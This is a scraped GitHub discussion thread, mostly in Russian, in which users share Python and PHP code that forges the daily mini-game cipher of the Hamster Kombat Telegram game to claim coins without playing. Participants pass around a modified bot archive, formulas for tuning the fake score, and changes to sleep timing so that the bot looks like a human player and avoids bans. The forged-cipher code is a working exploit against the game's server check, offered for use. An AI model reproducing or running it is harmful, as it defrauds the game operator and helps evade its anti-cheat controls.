            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

А как он работает если в коде в одном месте random.randint, а в другом просто randint. Точно этот код тестил?

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

Супер, работает, спасибо
Интересно как теперь быть с пазлами Candles
Там будет работать это же?
base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
Только какой будет score_cipher
base64 приходит такой же как и на новую игру, не как раньше:
0544865468|{user_id}|Candles|3449577600|056JnTlS3zRIEbrfYATG68MzRR3jI32leGlbVueMV8E=

Не пойму как получить base64 и минигейм айди , не запускается хомяк с компа(

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

А как он работает если в коде в одном месте random.randint, а в другом просто randint. Точно этот код тестил?

Я на другой ЯП переписал, работает

Не пойму как получить base64 и минигейм айди , не запускается хомяк с компа(

Открывай через ссылку которая формируется в iframe веб версии телеграма

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

Can please someone tell me how to run this code?

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

please sent to me

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

А как он работает если в коде в одном месте random.randint, а в другом просто randint. Точно этот код тестил?

Я на другой ЯП переписал, работает

Я тоже на jawascript перевёл, почему не фурычит?

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

А как он работает если в коде в одном месте random.randint, а в другом просто randint. Точно этот код тестил?

Я на другой ЯП переписал, работает

Я тоже на jawascript перевёл, почему не фурычит? Или это какой то рофл учитывая это

Я на php переписал, если поможет вот моя функция:
function get_cipher_mini_game($miniGame, $userId, $maxPoints) {
        // Преобразование даты в метку времени
        $startDate = new DateTime(str_replace("Z", "+00:00", $miniGame['start_date']));
        $timestamp = $startDate->getTimestamp();

        // Определение длины числа timestamp
        $numberLen = strlen((string)$timestamp);

        // Вычисление индекса
        $index = ($timestamp % ($numberLen - 2)) + 1;

        // Генерация строки res
        $res = "";
        for ($i = 1; $i <= $numberLen; $i++) {
            if ($i == $index) {
                $res .= "0";
            } else {
                $res .= (string)rand(0, 9);
            }
        }

        // Задание значений score_per_game
        $scorePerGame = [
            "Candles" => 0,
            "Tiles" => $maxPoints > 300 ? rand(intval($maxPoints * 0.1), $maxPoints) : $maxPoints
        ];

        // Вычисление score_cipher
        $scoreCipher = 2 * ($timestamp + $scorePerGame[$miniGame['id']]);

        // Генерация строки для шифрования
        $hashInput = "415t1ng{$scoreCipher}0ra1cum5h0t";
        $hash = base64_encode(hash('sha256', $hashInput, true));

        $dataString = implode("|", [
            $res,
            $userId,
            $miniGame['id'],
            $scoreCipher,
            $hash
        ]);

        // Возврат закодированной строки
        return base64_encode($dataString);
    }

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

А как он работает если в коде в одном месте random.randint, а в другом просто randint. Точно этот код тестил?

Я на другой ЯП переписал, работает

Я тоже на jawascript перевёл, почему не фурычит? Или это какой то рофл учитывая это

Я на php переписал, если поможет вот моя функция:
function get_cipher_mini_game($miniGame, $userId, $maxPoints) {
        // Преобразование даты в метку времени
        $startDate = new DateTime(str_replace("Z", "+00:00", $miniGame['start_date']));
        $timestamp = $startDate->getTimestamp();

        // Определение длины числа timestamp
        $numberLen = strlen((string)$timestamp);

        // Вычисление индекса
        $index = ($timestamp % ($numberLen - 2)) + 1;

        // Генерация строки res
        $res = "";
        for ($i = 1; $i <= $numberLen; $i++) {
            if ($i == $index) {
                $res .= "0";
            } else {
                $res .= (string)rand(0, 9);
            }
        }

        // Задание значений score_per_game
        $scorePerGame = [
            "Candles" => 0,
            "Tiles" => $maxPoints > 300 ? rand(intval($maxPoints * 0.1), $maxPoints) : $maxPoints
        ];

        // Вычисление score_cipher
        $scoreCipher = 2 * ($timestamp + $scorePerGame[$miniGame['id']]);

        // Генерация строки для шифрования
        $hashInput = "415t1ng{$scoreCipher}0ra1cum5h0t";
        $hash = base64_encode(hash('sha256', $hashInput, true));

        $dataString = implode("|", [
            $res,
            $userId,
            $miniGame['id'],
            $scoreCipher,
            $hash
        ]);

        // Возврат закодированной строки
        return base64_encode($dataString);
    }

А почему фистинг и камшот?

А как он работает если в коде в одном месте random.randint, а в другом просто randint. Точно этот код тестил?

чет тупанул, там два импорта у меня в файле ну и я особо не обратил внимания)

To pretend a real player (rather a nerd), you should earn not more than 72k points (10h of playing).

you mean I can't completely pass this game by hands like regular user?  just didn't tried to play :)

Я на php переписал, если поможет вот моя функция:

АА лол ты имеешь ввиду этот код для этого бота. Не сразу понял, сорян.

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

Объясни пожалуйста как работает генерация и как ты к этому пришёл?))

в итоге с этим кодом работает, но с количеством поинтов надо еще по-экспериментировать
max_points - это remain_points от игры
def get_keys_mini_game_cipher(mini_game: DailyMiniGame, user_id: str, max_points: int) -> str:
    number = int(datetime.fromisoformat(mini_game.start_date.replace("Z", "+00:00")).timestamp())
    number_len = len(str(number))
    index = (number % (number_len - 2)) + 1
    res = ""
    score_per_game = {
        "Candles": 0,
        "Tiles": random.randint(int(max_points * 0.1), max_points) if max_points > 300 else max_points,
    }

    for i in range(1, number_len + 1):
        if i == index:
            res += "0"
        else:
            res += str(randint(0, 9))

    score_cipher = 2 * (number + score_per_game[mini_game.id])

    data_string = "|".join(
        [
            res,
            user_id,
            mini_game.id,
            str(score_cipher),
            base64.b64encode(hashlib.sha256(f"415t1ng{score_cipher}0ra1cum5h0t".encode()).digest()).decode()
        ]
    ).encode()

    return base64.b64encode(data_string).decode()

Объясни пожалуйста как работает генерация и как ты к этому пришёл?))

Вот тут почитай: https://github.com/shamhi/HamsterKombatBot/discussions/2272

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

EugeneMartein hardim26 AKTanara

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara

A questions. How much you can gain from the minigame?

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara

Что-то пошло не так: Unknown error: start_daily_mini_game() got an unexpected keyword argument 'miniGameId'

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara

Что-то пошло не так: Unknown error: start_daily_mini_game() got an unexpected keyword argument 'miniGameId'

архив обновил, забыл еще один файл

Не получится у нас -500 млрд хоть ? =)

Не получится у нас -500 млрд хоть ? =) И карточки он хоть покупать будет или только в игру играть?

и покупает и тапает и в игру играет, всё норм

Не получится у нас -500 млрд хоть ? =) И карточки он хоть покупать будет или только в игру играть?

и покупает и тапает и в игру играет, всё норм

Сколько раз должно так выполниться?

Не получится у нас -500 млрд хоть ? =) И карточки он хоть покупать будет или только в игру играть?

и покупает и тапает и в игру играет, всё норм

Сколько раз должно так выполниться?

мда, у меня он несколько карточек купил, и тоже полностью погрузился в игру)

Я в tapper.py в 282-ой строке вписал is_claimed = true, и он по одному разу вроде стал играть и дальше протапывать и один раз играть по кругу.

It'll work until all the 172800 points are claimed. In coins terms it's PPH*28.8

How long will this take?

It'll work until all the 172800 points are claimed. In coins terms it's PPH*28.8

How long will this take?

у меня уже всё, отыгрался, и на игре появилась галочка. сколько монет по итогу нафармилось - точно не скажу. вроде где-то около 150 лямов

Не получится у нас -500 млрд хоть ? =) И карточки он хоть покупать будет или только в игру играть?

и покупает и тапает и в игру играет, всё норм

Сколько раз должно так выполниться?

пока не соберет все монеты с игры (примерно 150-200 лямов). Это я вам как пример скинул. Цикл я делал специально для того чтоб собрать все монеты. Там уже в коде вы можете поменять для этой игры и награду и время которое он якобы играет

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara
С чем проблема?

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara
С чем проблема?

В этом архиве уже три файла. Там есть ещё файл minigame.py

Подскажите , в архиве отдельный бот или это надо распаковывать в общей папке с оригиналом ? И что запускать из исполняемых файлов ?

Подскажите , в архиве отдельный бот или это надо распаковывать в общей папке с оригиналом ? И что запускать из исполняемых файлов ?

Просто в папку с тем же ботом закинь содержимое архива. Запускать как обычно через Start.bat

На убунту такая ошибка

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara
На убунту такая ошибка

последняя на данный момент версия архива

Порезали вроде, сильно снизили макс кол-во монет.

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara
На убунту такая ошибка

последняя на данный момент версия архива

Порезали вроде, сильно снизили макс кол-во монет.

И фистинговый оральный камшот тоже сменили

what will happen if i just yk mine a ridiculous amount like lets say 18 billion coins total with this

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara
На убунту такая ошибка

последняя на данный момент версия архива

Порезали вроде, сильно снизили макс кол-во монет. И фистинговый оральный камшот тоже сменили

if you use this bot (HamsterKombatBot). I can send you two files that need to be replaced. And restart bot

Выкладывай сюда zip-архив.

HamsterKombatBot-main.zip
@EugeneMartein @hardim26 @AKTanara
На убунту такая ошибка

последняя на данный момент версия архива

У меня пока что всё норм.

what will happen if i just yk mine a ridiculous amount like lets say 18 billion coins total with this

Trigger the ban..

На убунту такая ошибка

последняя на данный момент версия архива

Попробуй одну сессию запустить а не несколько

На убунту такая ошибка

последняя на данный момент версия архива

Попробуй одну сессию запустить а не несколько

Одна сессия всего...

извините я скачал архив что мне делать с ним я ВАПЩЕ НЕ РАЗБИРАЮСЬ можете сказать тут или отправить видео урок мне в телегрм @Gggfffpppuuu пажалуйста умаляю памагите мне

2024-08-28 21:10:01 | ERROR    | 37 - Unknown error while Claim Mini Game: 400, message='Bad Request', url=URL('https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame') | Response text: {"error_code":"DAILY_KEYS_MINI_GAME_CANT_CIPHER_DECODING","error_message":"Cant MiniGame cipher decoding"}...
2024-08-28 21:10:06 | ERROR    | 539 - popzan | Unknown error: 'remainSecondsToNextAttempt'

А у меня такая ерунда если код из архива использовать

Вот так у меня

! Вот так у меня. Уже 30 минут.
Скоро закончится.

как пользоватца?

 как пользоватца?

Ты серьезно не можешь заменить файлы из этих папок в папки с такими же названиями в твоем рабочем боте?

Просто в папку с тем же ботом закинь содержимое архива. Запускать как обычно через Start.bat

Просто в папку с тем же ботом закинь содержимое архива. Запускать как обычно через Start.bat

2024-08-28 21:10:01 | ERROR    | 37 - Unknown error while Claim Mini Game: 400, message='Bad Request', url=URL('https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame') | Response text: {"error_code":"DAILY_KEYS_MINI_GAME_CANT_CIPHER_DECODING","error_message":"Cant MiniGame cipher decoding"}...
2024-08-28 21:10:06 | ERROR    | 539| Unknown error: 'remainSecondsToNextAttempt

А у меня такая ерунда если код из архива использовать

Лучше скажите, как пофиксить такую вот ошибку?

 как пользоватца?

Ты серьезно не можешь заменить файлы из этих папок в папки с такими же названиями в твоем рабочем боте?

Он только что зарегался и скорее всего узнал об этой ветки от знакомого, а знакомому лень объяснять как и что работает.

я суда ночью зашел просто смотрел

где скачать я через длиную сылку на пк захажу

Спасибо . Проверим

где скачать бота

где скачать бота

На Гитхабе выложен

где скачать бота

https://github.com/shamhi/HamsterKombatBot
И читай там всё написано, как настроить и т.д.

 как пользоватца?

Ты серьезно не можешь заменить файлы из этих папок в папки с такими же названиями в твоем рабочем боте?

Он только что зарегался и скорее всего узнал об этой ветке от знакомого, а знакомому лень объяснять как и что работает.

Лучше скажите, как пофиксить такую вот ошибку?

Мне несколько перезапусков помогли

2024-08-28 21:38:03 | INFO     | 175 - sex | Key for Mini Game: 0231520542
2024-08-28 21:38:05 | INFO     | 276 - sex | Sleep 16s in Mini Game
2024-08-28 21:38:21 | ERROR    | 37 - Unknown error while Claim Mini Game: 400, message='Bad Request', url=URL('https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame') | Response text: {"error_code":"DAILY_KEYS_MINI_GAME_CANT_CIPHER_DECODING","error_message":"Cant MiniGame cipher decoding"}...
2024-08-28 21:38:26 | ERROR    | 539 - sex | Unknown error: 'remainSecondsToNextAttempt'
2024-08-28 21:38:29 | INFO     | 529 - sex | Sleep 2,328s

У меня почему то 1 раз срабатывает и потом в ошибку

я суда ночью зашел просто смотрел

Ты специально что-ли так пишешь:

Сначала python скачай https://www.python.org/downloads/release/python-3119/

Потом в инсталлере вот тут галочку поставь:

Далее качаешь бота:

После распаковываешь архив и следуешь инструкции

После скидываешь содержимое этого архива https://github.com/user-attachments/files/16784784/HamsterKombatBot-main.zip в бота
Далее запускаешь бота и радуешься халяве. Вроде упустил только лёгкие моменты но их я разжёвывать не буду.

а как остановить фарм монет? как долго идет выполнение мини игры и через сколько повторно начнет это делать?

а как остановить фарм монет? как долго идет выполнение мини игры и через сколько повторно начнет это делать?

Остановить фарм в плане мини игры или кликов? Выполнение игры идёт до тех пор пока она не будет завершена(будет достигнут лимит монет на сутки, он разнится в зависимости от дохода в час). Повторно проходить мини игру можно будет ровно через сутки после начала первой попытки прохождения мини игры(Hexa Puzzle).

а как остановить фарм монет? как долго идет выполнение мини игры и через сколько повторно начнет это делать?

Остановить фарм в плане мини игры или кликов? Выполнение игры идёт до тех пор пока она не будет завершена(будет достигнут лимит монет на сутки, он разнится в зависимости от дохода в час). Повторно проходить мини игру можно будет ровно через сутки после начала первой попытки прохождения мини игры(Hexa Puzzle)(Про "можно будет" пишу для тех кто завершил).

да, вопрос был именно про мини игру, потому что человек не сможет 24\7 играть)) паливно. Т.е. в какой то момент фарм остановится и бот далее по скрипту начнет тратить эти деньги?

а как остановить фарм монет? как долго идет выполнение мини игры и через сколько повторно начнет это делать?

Остановить фарм в плане мини игры или кликов? Выполнение игры идёт до тех пор пока она не будет завершена(будет достигнут лимит монет на сутки, он разнится в зависимости от дохода в час). Повторно проходить мини игру можно будет ровно через сутки после начала первой попытки прохождения мини игры(Hexa Puzzle)(Про "можно будет" пишу для тех кто завершил).

да, вопрос был именно про мини игру, потому что человек не сможет 24\7 играть)) паливно. Т.е. в какой то момент фарм остановится и бот далее по скрипту начнет тратить эти деньги?

А ты и не сможешь играть бесконечно в мини игры, там есть потолок по цифре монет которые ты можешь залутать в сутки и он разный, зависит от твоего PPH. Например у меня на аккунте с 2кк pph максимум можно было выбить 65кк. На аккаунте с 1.7кк phh максимум 50кк. На аккаунте с 200к pph максимум 18кк.

да, вопрос был именно про мини игру, потому что человек не сможет 24\7 играть)) паливно. Т.е. в какой то момент фарм остановится и бот далее по скрипту начнет тратить эти деньги?

А ты и не сможешь бесконечно играть в мини игру, там есть потолок по цифре монет которые ты можешь залутать в сутки и он разный, зависит от твоего PPH. Например у меня на аккунте с 2кк pph максимум можно было выбить 65кк. На аккаунте с 1.7кк phh максимум 50кк. На аккаунте с 200к pph максимум 18кк. Хотя возможно, можно откатить этот лимит, если выписать себе минусовой баланс через мини игру, чуть позже проверю, но даже если и работает то толку в этом мало.

что делать если оно закрываетца когда я нажимаю на рандом клавишу

что делать если оно закрываетца когда я нажимаю на рандом клавишу

Ты этот шаг пропустил

фистинг с камшотом никуда не делись из файла скрипт :D

Ребят как создать команду в боте /user чтобы показывало сколько пользователей в боте? Через базу данных ид

Unknown error while Claim Mini Game: 400, message='Bad Request', url=URL('https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame') | Response text: {"error_code":"DAILY_KEYS_MINI_GAME_WRONG","error_message":"DailyKeysMiniGame is wrong MDI1OTUxOTA4Nnw1OTk2NTU3MTN8VGlsZXN8MzQ0OTY5MDY1NHxMcDVlZVQrRDBRL2pEeURkVjVpRHo0SS9QMzYvb1lZMDVaOGRYVVl6V1VrPQ=="}...
кто подскажет как убрать?

Unknown error while Claim Mini Game: 400, message='Bad Request', url=URL('https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame') | Response text: {"error_code":"DAILY_KEYS_MINI_GAME_WRONG","error_message":"DailyKeysMiniGame is wrong MDI1OTUxOTA4Nnw1OTk2NTU3MTN8VGlsZXN8MzQ0OTY5MDY1NHxMcDVlZVQrRDBRL2pEeURkVjVpRHo0SS9QMzYvb1lZMDVaOGRYVVl6V1VrPQ=="}...
кто подскажет как убрать?

У меня тоже самое, хз почему у кого то есть у кого-то нет

Boomkuze

неа, всё также

у

Сессию попробуй пересоздать а предыдущую удали.

Hi
Thanks for sharing your efforts.
mine goes forward then suddenly stops and does other tasks like FAM games...:
2024-08-28 23:46:35 | INFO     | 276 - Rightel | Sleep 23s in Mini Game 2024-08-28 23:47:01 | INFO     | 276 - Rightel | Sleep 17s in Mini Game 2024-08-28 23:47:21 | INFO     | 276 - Rightel | Sleep 14s in Mini Game 2024-08-28 23:47:37 | SUCCESS  | 293 - Rightel | Successfully claimed Mini Game Tiles | Total keys: 3 (+0) 2024-08-28 23:47:42 | DEBUG    | 278 - Rightel | Attempt 1 was successful for Cafe Dash game | Sleep 31s before 2 attempt to get promo code 2024-08-28 23:48:14 | DEBUG    | 278 - Rightel | Attempt 2 was successful for Cafe Dash game | Sleep 31s before 3 attempt to get promo code 2024-08-28 23:48:45 | DEBUG    | 278 - Rightel | Attempt 3 was successful for Cafe Dash game | Sleep 31s before 4 attempt to get promo code 2024-08-28 23:49:16 | DEBUG    | 278 - Rightel | Attempt 4 was successful for Cafe Dash game | Sleep 31s before 5 attempt to get promo code 2024-08-28 23:49:48 | DEBUG    | 278 - Rightel | Attempt 5 was successful for Cafe Dash game | Sleep 31s before 6 attempt to get promo code 2024-08-28 23:50:19 | DEBUG    | 278 - Rightel | Attempt 6 was successful for Cafe Dash game | Sleep 31s before 7 attempt to get promo code
It is sleeping or it reached a limit and quite?

SUCCESS | 293 - Rightel | Successfully claimed Mini Game Tiles | Total keys: 3 (+0)

The game is already claimed

SUCCESS | 293 - Rightel | Successfully claimed Mini Game Tiles | Total keys: 3 (+0)

The game is already claimed

So no more Tiles score for today?

Unknown error while Claim Mini Game: 400, message='Bad Request', url=URL('https://api.hamsterkombatgame.io/clicker/claim-daily-keys-minigame') | Response text: {"error_code":"DAILY_KEYS_MINI_GAME_WRONG","error_message":"DailyKeysMiniGame is wrong MDI1OTUxOTA4Nnw1OTk2NTU3MTN8VGlsZXN8MzQ0OTY5MDY1NHxMcDVlZVQrRDBRL2pEeURkVjVpRHo0SS9QMzYvb1lZMDVaOGRYVVl6V1VrPQ=="}...
кто подскажет как убрать?

У меня тоже самое, хз почему у кого то есть у кого-то нет

мне помогла полная переустановка бота. снес папку, заново все поставил, отредактировал конфиг, закинул файлы с мини играми, ввел сессии и все работает

200kk нафармилось за полчаса...достаточно подозрительно, как мне кажется =)

200kk нафармилось за полчаса...достаточно подозрительно, как мне кажется =)

А у тебя какой доход в час?

тут же кидали формулу. фарм с игры = доход в час * 28,8

200kk нафармилось за полчаса...достаточно подозрительно, как мне кажется =)

А у тебя какой доход в час?

~7 млн

А ну тогда норм, это никак не страннее тех кто то также выбил максимум, закрыв мини игру на галочку. Там же множитель максимум лута и лутаемого от одной башни идёт pph*множитель.

Как бота настроить чтобы автоматом карточка прокачивалась

@yurii-zadryhun Мне вот интересно, можно изменить cipher score?  Не нравится такой формат "415t1ng" .. cipher_score .."0ra1cum5h0t" :D :D :D

Как я писал выше я скинул это как пример того как применить новую логику для игры с монетами.
Если нужно, чтоб было более реалистично, то в tapper.py можно заменить:
    game_sleep_time = randint(12, 26)

на что-то вида:
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]
Убрать цикл который я поставил:
while is_claimed == False:
Тогда будет выглядить реалистичнее, типа зашли в игру поиграли 20-30 мин получили награду и вышли. Но тогда конечно за день не выйдет собрать все монеты с игры.

200kk нафармилось за полчаса...достаточно подозрительно, как мне кажется =)

Как я писал выше я скинул это как пример того как применить новую логику для игры с монетами.
Если нужно, чтоб было более реалистично, то в tapper.py можно заменить:
game_sleep_time = randint(12, 26)

на что-то вида:
game_sleep_time = {
"Candles": randint(12, 26),
"Tiles": randint(1200, 1800),
}
В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]
Убрать цикл который я поставил:
while is_claimed == False:
Тогда будет выглядить реалистичнее, типа зашли в игру поиграли 20-30 мин получили награду и вышли. Но тогда конечно за день не выйдет собрать все монеты с игры.

200kk нафармилось за полчаса...достаточно подозрительно, как мне кажется =)

Как я писал выше я скинул это как пример того как применить новую логику для игры с монетами. Если нужно, чтоб было более реалистично, то в tapper.py можно заменить:
 game_sleep_time = randint(12, 26) на что-то вида:
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]
Убрать цикл который я поставил:
while is_claimed == False:
Тогда будет выглядить реалистичнее, типа зашли в игру поиграли 20-30 мин получили награду и вышли. Но тогда конечно за день не выйдет собрать все монеты с игры.

Так где именно? scripts.py или tapper.py? Можно и шифр поменять не на  "415t1ng" .. cipher_score .."0ra1cum5h0t" а на что-то другое?

200kk нафармилось за полчаса...достаточно подозрительно, как мне кажется =)

Как я писал выше я скинул это как пример того как применить новую логику для игры с монетами. Если нужно, чтоб было более реалистично, то в tapper.py можно заменить:
 game_sleep_time = randint(12, 26) на что-то вида:
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]
Убрать цикл который я поставил:
while is_claimed == False:
Тогда будет выглядить реалистичнее, типа зашли в игру поиграли 20-30 мин получили награду и вышли. Но тогда конечно за день не выйдет собрать все монеты с игры.

Thanks. Great job.
What is the formula converting this random number generated random.randint(int(1500), 3000) to the coins actually claimed?

Так где именно? scripts.py или tapper.py? Можно и шифр поменять не на "415t1ng" .. cipher_score .."0ra1cum5h0t" а на что-то другое?

В первом предложении я указал что в tapper.py
Шифр придумали не мы а разработчики хомяка, его изменить нельзя. Это что-то типа пасхалки бля ботоводов.
В scripts.py можно изменить прибыль (она задается в поинтах):
 score_per_game = {
    "Candles": 0,
    "Tiles": random.randint(int(1500), 3000),
}

Максимальное количество поинтов в день - 172800
РРН - ваша прибыль монет в час
РРН * 28.8 - Максимальная прибыль в монетах в игре за день
Расчет количество поинтов, за игру прибылью в 5 000 000:
max_points = 5000000 * 172800 / (РРН * 28.8)
Тогда делаем так:
 score_per_game = {
    "Candles": 0,
    "Tiles": random.randint(int(max_points * 0.5), max_points),
}

В результате за одну игру будем получать от 2.5кк до 5кк

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]
вот это где имеено менять

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]

вот это где имеено менять

засиделся уже :) Пост свой исправил. Это было лишнее
меняем только саму переменую:
game_sleep_time = randint(12, 26)
на что-то вида:
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

score_per_game = {
    "Candles": 0,
    "Tiles": random.randint(int(max_points * 0.5), max_points),
}

